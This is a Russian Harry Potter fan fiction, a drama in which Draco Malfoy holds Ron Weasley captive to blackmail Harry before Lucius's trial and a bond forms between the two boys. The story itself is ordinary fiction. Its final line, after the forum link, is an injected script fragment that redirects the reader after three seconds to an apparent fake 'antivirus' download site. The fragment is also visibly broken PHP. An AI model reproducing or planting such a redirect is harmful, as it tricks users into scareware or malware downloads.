Мы быстро взрослеем

Автор: Нюшка
Бета: Мартышия Адамс
Пейринг: ДМ/РУ
Рейтинг: PG
Жанр: драма, преслэш.
Дислеймер:  не возьму, даже если мне за это платить будут (в смысле – от прав отказываюсь)
Саммари: Все довольно банально. Скажем так – вам знакомо определение «стокгольмский синдром»?))

Фик написан  в подарок  Коту Бегемоту. 

Темнота отпускать не желала.  Тянула  черные щупальца, стремясь схватить, вернуть в холодное безвременье... Рон Уизли медленно выныривал из глубокого обморока, еще не осознавая себя, лишь ликующе ощущая – жив.

Прояснились  туманные очертания окружающих предметов, и Рона накрыл приступ паники – ни одной знакомой вещи! Он точно знал, что никогда не был в этой комнате, никогда не открывал эту рассохшуюся дверь, не засыпал на кровати с продавленным матрасом, рассматривая  змеящуюся по потолку трещину.

Рон огляделся по сторонам, морщась от боли, долбящей в виски. Поерзал,  удивленно отмечая неудобство позы – он лежит на спине,  впивающаяся в запястья веревка надежно крепит руки к металлической спинке  кровати... Чем больше деталей отмечал мозг, тем меньше нравилось Уизли происходящее. События, которые предваряли навалившееся беспамятство, размывались и ускользали, не давая ответов на многочисленные вопросы. Рон прошелся с Гарри и Гермионой по Хогсмиту, потом они попрощались, потом Рон зашел в «Три метлы». А потом… Потом не было ничего.

Негромко щелкнул замок, и Рон, притворяясь, закрыл глаза.

- Очнулся уже. Вижу. Вон -  ресницы дрожат,  – знакомый голос, полный неприязни.

Уизли открыл глаза и с ног до головы осмотрел Малфоя, стараясь вложить в свой взгляд как можно больше презрения и ненависти. Впрочем, сильно стараться не пришлось. Ох, если бы взглядом можно было четвертовать!

Давненько Уизли не видел слизеринского хорька! Рон, Гарри и Гермиона только обрадовались, когда  оказалось, что Малфой не вернулся после каникул в Хогвартс.  И, пожалуйста  - вот счастье-то -  сюрприз...

А необычно, надо сказать, он выглядел -  Драко Малфой, наследник огромного состояния, бывший староста факультета, чистокровный маг и т.д. и т.п. Серая, грязноватая рубашка и вытертые, висящие мешком джинсы.  Маггловская одежда -  измятая, словно чужая,  где на два размера, а где и на три большая, чем нужно.

И лицо странное – Малфой похудел, скорее даже - исхудал. Злые тонкие губы вытянулись совсем уж в ниточку, заострился нос, аристократически бледная кожа приобрела желтоватый оттенок, напоминающий о лимонах и Снейпе. Даже взгляд изменился – Уизли сильно не понравилась веселая сумасшедшинка в серых, окруженных светлыми  ресницами глазах.

Можно ли сказать о шестнадцатилетнем юноше – постарел?

- Ты чего это?  -  «Черт, ничего умнее я, конечно, не мог придумать» - досадливо подумал Рон. Но вопрос уже сорвался, вызвав ироничную полуулыбку на губах  Драко Малфоя.

- О, тупой придурок Уизли в своем репертуаре, – ехидно прокомментировал  он.  Вот голос остался прежним    все так же сочился ядом. Но тут же  тон резко изменился:

- Потом все расскажу.  Может быть,  – грубо сказал Малфой. -  Пить хочешь?

Рон разом ощутил жжение в груди, пересохшую глотку, иссушенные и потрескавшиеся губы… Хотел ответить «да», но не смог, лишь со всхлипом втянул сквозь зубы воздух. Малфой все понял правильно, сел на край кровати, подсунул ладонь под затылок Рона, приподнимая тому голову. Горлышко маггловской пластиковой бутылки оказалось возле губ. Рон пил долго, а Малфой – вот  странно - проявлял терпение, хотя Уизли чувствовал, как подрагивает поддерживающая его голову рука.

- Пей Уизли, пей. Мне же не нужно, чтобы ты загнулся. Мне ты живой нужен, – негромко и как-то мечтательно проговорил Драко.

От таких «теплых» слов Рон чуть не подавился, но все-таки придержал вопросы до момента, когда жажда была полностью утолена.

- Зачем?  – несмотря на выпитую воду, в горле першило, и звуки выходили хриплыми,  простуженными.

Малфой тоже хлебнул из бутылки, чему Рон тускло удивился    прежний красавчик-аристократ никогда не коснулся бы губами горлышка после Уизли.

Пустая бутылка гулко упала на несколько других таких же,  лежащих в углу.

- Потом, Уизли, потом. Все – потом, – пробормотал Драко. Он обошел постель и лег слева от Рона, прижимаясь к  его боку. – Устал я. Можешь понять?

Рон настолько ошалел от всего этого, что даже не попробовал отстраниться, и через несколько минут уже изумленно слушал ровное дыхание Малфоя. «Ну и пусть. Потом – значит, потом», -  подумал он с внезапно накатившим равнодушием. Чуть повернулся – теперь он щекой касался плеча соседа -  и уснул. Мгновенно и спокойно. Без снов.

Болели руки. Страшно болели руки. Казалось – еще мгновение в этой позе, еще хоть несколько томительных секунд с привязанными к спинке кровати запястьями – и Рон заорет,  в клочья разрывая  тишину.

- Черт. Я забыл совсем, – Малфой выглядел спокойным, отдохнувшим и… более привычным. Глухой звук  – словно ножницы по картону.    Рон понял, что веревка разрезана, что руки можно опустить. Это удалось, но не так, чтобы сразу -  пальцев Рон не чувствовал совсем, и попытки согнуть их ни к чему не приводили.

- Ты только не вздумай удрать, – почти равнодушный голос Малфоя.  – Тут магия везде. Личная печать на дверях. Окна под заклятием. Тебе не открыть. Да и палочки у тебя нет.

- Я тебя убью, – прохрипел Рон, растирая руки.

- Не советую, - голос Драко не изменился. – Тогда тебе  не выбраться отсюда. Умирать от жажды… Говорят, что это неприятно.

Уизли было не до этого – он наконец начал ощущать свои руки и на десяток минут превратился в поскуливающего от боли щенка.  Драко Малфой рассматривал сидящего на постели и зажимающего под мышками ладони Рона без брезгливости, даже с каким-то интересом.

Когда Рон отчасти пришел в себя, а боль отступила, сменившись неприятными, но терпимыми ощущениями, Драко наконец заговорил:

- Можно было бы ничего тебе не рассказывать, ну да поговорить все равно не с кем. Ты знаешь, что такое шантаж? Я тебя выкрал, чтобы шантажировать этого придурка Поттера, –  мило улыбаясь, произнес Драко.

- Меня? Почему меня? – почему-то именно этот вопрос вырвался первым.

- Нужно было, конечно, грязнокровку Грейнджер, – в голосе Малфоя скользнули нотки сожаления. – Но она все время с Поттером, а его охраняют слишком хорошо. А тебя никто не охраняет – задумайся над этим фактом.

Вот последние слова Малфой произнес с удовольствием. И Рон действительно задумался. От обиды даже в ушах зазвенело,  и тут же промокли ресницы  – все произошло слишком просто. Видимо Малфой заехал чем-то тяжелым по голове, и  - дело сделано, друг спасителя колдовского мира сидит в какой-то дыре, потому что одному подонку что-то понадобилось от Гарри. А вот тут возникало второе «зачем?».  Зачем этому хорьку Гарри-то шантажировать?

Видимо вопрос вырвался, потому что Малфой ответил:

-  Через два дня – заседание совета магов. Отца судить будут.  Ну… за Блэка. Или не за Блэка, а за то, что попался. Не важно. Важно, что обвинения Поттер выдвигает. А вот я ему сову пошлю – так, мол, и так, отзывай-ка ты свои обвинения, а не то твой дружок Уизли немножко пострадает. Так, чуть-чуть – до смерти.

- Ты… Ты подлый...  Мерзкий...

- Тс-с-с-с-с. Тише. Силы не трать.

- Гарри никогда не пойдет на поводу у такого, как… - выкрикнул Рон с вызовом.

- Скушай сэндвич, - кротко сказал Малфой и сунул Рону в руку булочку с ветчиной. Гордое «жри сам» уже прыгнуло на язык, но аппетитный запах загнал опрометчивые слова обратно в глотку. Рон остервенело вцепился зубами в хлебную мякоть, давя желание глотать целыми кусками,  и из последних сил заставляя себя сохранять остатки достоинства. Ел молча, тщательно пережевывая. Так же молча пил воду, судорожно стискивая бутылку.

- Перекусил? – почти ласково спросил Драко. – Ванная комната там,  - указал он на еще одну обшарпанную дверь. -  Только помни – отсюда не сбежишь. Заклинания.

Рон помнил. А как же. Но не заклинания помешали ему сделать попытку бежать. Голова вообразила себя глобусом, и комната с выцветшими обоями и  шаткими стульями начала медленно вращаться перед глазами. Знакомые черные щупальца потянулись к сознанию, мечтая поглотить его.

- О нет, только не это,    страдальчески произнес за спиной Малфой. Его голос доносился до Рона глухо, как сквозь несколько слоев  ваты. – Сблюешь - убью раньше времени, – пригрозил Драко.

У вращающегося мира появилась надежная опора.

Наверное, Рону должно было быть стыдно – Малфой довел его до дверей ванной, помог умыться и даже помог расстегнуть упрямую пряжку на брючном ремне… Но слабость  с легкостью победила стыд.

«Потом я буду думать, что лучше бы мне было умереть» -  мрачно думал уже охваченный дремотой Рон, когда вновь очутился в постели.

Устроился удобнее, вновь нашел теплое плечо, прижался  щекой -  Малфой во сне невнятно буркнул. Уже на грани сна и бодрствования  Рон глупо удивился - за все это время он ни разу не испытал страха.

Рон был уверен: Гарри не позволит, чтобы с лучшим другом случилось что-то плохое.

- Молчит твой Поттер,  -  Малфой вернулся лихорадочно возбужденным. Рон рассматривал его даже с любопытством. Вот уж никогда не замечал: Малфой-то, оказывается, красив! Бледная кожа горела румянцем, серые глаза с бездонными зрачками почти пугали.

- Молчит. Молчит… Вот придурок. Я же убью тебя! -  тоскливо выкрикнул Малфой.

Он не мог сидеть -  стоило ему опуститься на стул, как тут же сила, которой он явно не мог управлять, подбрасывала его, заставляла вновь метаться по комнате, наматывая десятки километров.

- Не мельтеши,  – лениво проговорил  Рон. Растерянность и отчаяние Малфоя доставляли удовольствие.

Но тут же пришлось пожалеть о том, что не промолчал, и даже испугаться удалось.  Драко наклонился над ним, заслоняя свет, прямо в лицо полыхнула из затягивающих зрачков дикая  ярость.

- Если... Если с отцом что-то…Убью! – просипел слизеринец, и Рон понял – убьет.

Минуты свободы и ужин прошли в полном молчании. Снова связав пленника, Малфой опустился в кресло, стоящее спинкой к кровати, и замер.

Рон погружался в дрему, но уснуть крепко не удавалось – кажется, не хватало ровного дыхания рядом. И плеча. Наконец он уснул - тревожно, беспокойно, с чувством странной потери.

Проснулся – будто ударили. Сразу понял, что ночь еще в своем праве, и в мире темно и сонно тихо. Долго лежал, соображая, где находится, и надеясь, что все это ему приснилось в страшном сне.

Малфой сидел в кресле и, казалось, так и не пошевелился за эти несколько часов.

- Эй, ты чего… Спишь? Или сдох там? – Рон и не знал, что звук собственного голоса способен испугать.

- Ты знаешь, как сейчас казнят? – тихий ответ. Нет, не ответ. Малфой просто размышлял, думал в слух, разделял с Роном свой кошмарный сон.

- Азкабан, разве нет? – забавно, а ведь Уизли и вправду не пришло даже в голову поинтересоваться, как наказывают преступников теперь, когда дементоры переметнулись на сторону Темного Лорда.

- Толку в Азкабане, когда там дементоров нет. За тяжелые провинности ссылают. Случайная аппарация. Рывок – и ты неизвестно где. А еще – неизвестно кто. За особо тяжкие преступления лишают памяти. Отца… Отца тоже вот так.

- Ну и что? – Рон не понимал острого отчаяния, звенящего в тихом голосе. – Это же не смерть. И не дементор даже. Душа-то жива. Человек – жив.

-  Не смерть? -  выкрикнул Драко.

Драко резко поднялся с кресла, стал возле окна, раздвинул пластины жалюзи... Мигала за окном маггловская неоновая реклама, бросая неуместные отсветы на бледное лицо. Сочно-резкий зеленый и бесстыдно-яркий розовый   чередовались в безжалостном четком механическом ритме…

- Мы как-то были в горах. В Альпах. У нас там… шале. Катались на лыжах. Мать приболела, осталась дома, возле камина, листать альбомы с гравюрами, а мы пошли на склон. Отец учил меня стоять на лыжах. Магам это легко, я тогда уже летал несколько лет, метлой управлял хорошо, для меня лыжи  -  мелочью были.  Я быстро научился удерживать равновесие. Это полет, как и на метле, но по-другому все, чуть по-другому. Слишком холодный ветер, слишком сильное ощущение скорости… Отец со мной наперегонки пошел со склона. Он… он никогда не поддавался мне, даже когда я совсем малышом был. Я несся вниз и видел его спину, он обгонял, и солидно. У него спина широкая, сильная, волосы из-под шапки выбились, по плечам болтались. Я тогда решил хитростью выиграть, я ведь слизеринец. Сделал вид,  что споткнулся, упал... Отец лыжи скинул, побежал наверх по лыжне, а скользко ведь было, и он падал, но бежал. Добрался до меня... Я смеюсь... Он сначала в ярости был, потом тоже… рассмеялся. Мы в снегу как дети возились, он мне за шиворот снежок сунул. Холодно, щекотно… Я тогда понял: хитрость – не для своих. Со своими нужно честно. И до конца. Не смерть говоришь? Его не будет. Будет кто-то другой. Чем это от смерти отличается?

Рон, не отрываясь, смотрел, как влажные щеки Драко становились то изумрудно-зелеными, то зефирно-розовыми.

- Ты… это… ложись, что ли, Малфой, – грубовато сказал он.

Драко постоял еще немного, усмехнулся - Рон скорее почувствовал, чем увидел.  Подошел, разрезал веревки, лег рядом  -  скрипнув, прогнулась сетка. Рон поерзал, устраиваясь поудобнее, помедлив секунду, прижался щекой к плечу Драко. Тот вздрогнул, но не отстранился. Уснули почти сразу, очень спокойно.

Когда Рон проснулся,  Драко не было, запястья обвивала веревка, спасибо хоть не  поднимала руки  к спинке кровати. Зато теперь были  надежно связаны ноги.

«Скотина. Хоть бы воды дал. Или в туалет отпустил», - уныло подумал Рон, пытаясь найти приемлемую позу. Потом вспомнил – суд. Вот сейчас. И там решается судьба Люциуса Малфоя и судьба Рона Уизли. Нет, он даже мысли не допускал, что Гарри позволит, чтобы с Роном что-то произошло. Но было все же немного страшно. Пленник попытался добросовестно вспоминать собственную жизнь, но вместо этого перед мысленным взором стоял лишь, потрескавшийся, бывший когда-то белым кафель ванной. И думалось лишь о том, как это унизительно будет – обмочиться.

Скрежет ключа по нервам – словно железом по стеклу.

Малфой вошел неторопливо с очень спокойным, умиротворенным лицом. И с ножом в руке. Рон  не испугался, он знал - нож для того, чтобы веревки перерезать,  Гарри отозвал обвинения, в этом можно не сомневаться. И Люциус Малфой выкрутился, чему Уизли был даже рад – теперь ему было тяжело ненавидеть. Сразу представлялась широкая спина, выбившиеся из-под шапки волосы...

Драко сел на пол возле кровати. Занес нож.

Когда руки стали свободны, Рон метнулся в ванную - и откуда силы взялись! Обратно выбирался чуть ли не на четвереньках, отчаянно цепляясь за стену, рискуя упасть и уже не подняться.

- Сволочь ты, Малфой,  - прохрипел, валясь на пол рядом с Драко.  - Хоть бы воды оставил, гад.

Малфой молча протянул бутылку.

- И что теперь? Отпустишь? -  спросил Рон, когда напился.

Драко даже словом не удостоил, лишь головой кивнул в сторону дверей, издевательски так.

Рон решил проявить терпение:

- Заклинание, – мирно напомнил он.

- А, - неинформативный звук и молчание. – Я блефовал.  Нет никаких заклинаний,  – добавил Малфой после паузы.

- Ну, ты, Малфой,  и дрянь! Теперь костьми лягу, а папашу твоего найду и посажу снова. И  не выкрутится!

Драко засмеялся - весело, негромко. Глянул спокойными серыми глазищами и произнес легко:

- А все уже. Приговорен.  И приговор выполнен. Нет его.

Новость обрушилась на плечи чудовищной тяжестью – что за бред?

- Тогда -  почему ты меня … не...  – внезапно Рон Уизли разучился заканчивать фразы.

- А что мне это даст? Отца вернет что ли? - грубо ответил Драко, глядя прямо в глаза Уизли. Но Рон знал, что Драко Малфой видит не рыжего подростка в комнате с блеклыми обоями - лишь склон горы, занесенный снегом.

- Малфой... – голос такой хриплый, что пришлось откашляться.  – Мне жаль...

- Избавь меня, – брезгливо сложил губы Драко. -  Просто – избавь.

- Ты… ну… это… Держись, что ли… - Рон испытывал настоящие муки: слова,  какие-то особые, теплые, способные помочь – не находились.

Лицо Драко приобрело странное выражение:

- О, добренький  Уизли. Отличный совет! Держаться?  Чтобы держаться, нужно чтобы кто-то рядом... был... За кого держаться?

- Но…

- Вон, - тонко выкрикнул Малфой и бросил Рону бутылку, которую тот автоматически поймал.

Рывок аппарации.

Ну,  здравствуй, Хогсмит.

- Мы его найдем. Мы его… Мы… его... Если ты вспомнишь название места, где он тебя... – что-то Поттер разучился договаривать до конца фразы.

- Не надо Гарри, -  Рона тянуло сказать что-нибудь мелодраматичное, что-то, что даст Гарри понять, что друзей предавать вообще-то нехорошо. И что последний его поступок как раз на предательство и тянет.  Не успел –  у Поттера реакция всегда была лучше:

- Ты же не обижаешься? Нет? Мы же знали, что он блефует. С такими нельзя договариваться. Ты же понимаешь? Мы поступили правильно, - очень гладкие слова выговаривал очень положительный мальчик Гарри Поттер.  А Рон Уизли  почему-то этим правильным словам не верил. И спросил ядовито:

- Блеф? Вы были уверены? А если бы…? – интонация хорошая получилась. Они же с Малфоем почти не разговаривали, откуда же он, Рон Уизли, сарказма-то поднабрался?

- Я бы тогда себе никогда не простил... – глядя прямо в глаза Уизли, ответил Поттер. Рон доставил себе удовольствие постоять молча и посмотреть,  как у Гарри трясутся губы. А потом пожалел все-таки. Не спросил, хотя еще один ехидный почти по-малфоевски вопрос просился на язык. 

«А мне бы от этого легче было?», -  вот что хотелось узнать Рону Уизли у своего друга Гарри.

Впрочем… Вдруг все стало неважным. Рон шагнул вплотную, притянул Гарри к себе, учась прощать и дарить нежность. Стремительно и бесповоротно взрослея. Вздрогнули под ладонями худые плечи: кажется, Гарри Поттер тоже чему-то учился. И процесс был болезненным.

- Ну что ты? Перестань... Ты не виноват. Не кори себя. Ты поступил правильно.

Поттер обмяк, прижался всем телом. Рон гладил непослушные черные волосы и  думал, что если очень постарается, обязательно вспомнит, как назывался мотель.  И что сегодняшней ночью он не сможет заснуть, потому что рядом не будет теплого плеча. К плечу он... привык... 

А еще Рон теперь знал, как ответить на вопрос. На ТОТ вопрос.

«Держись.  Я буду  рядом».

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>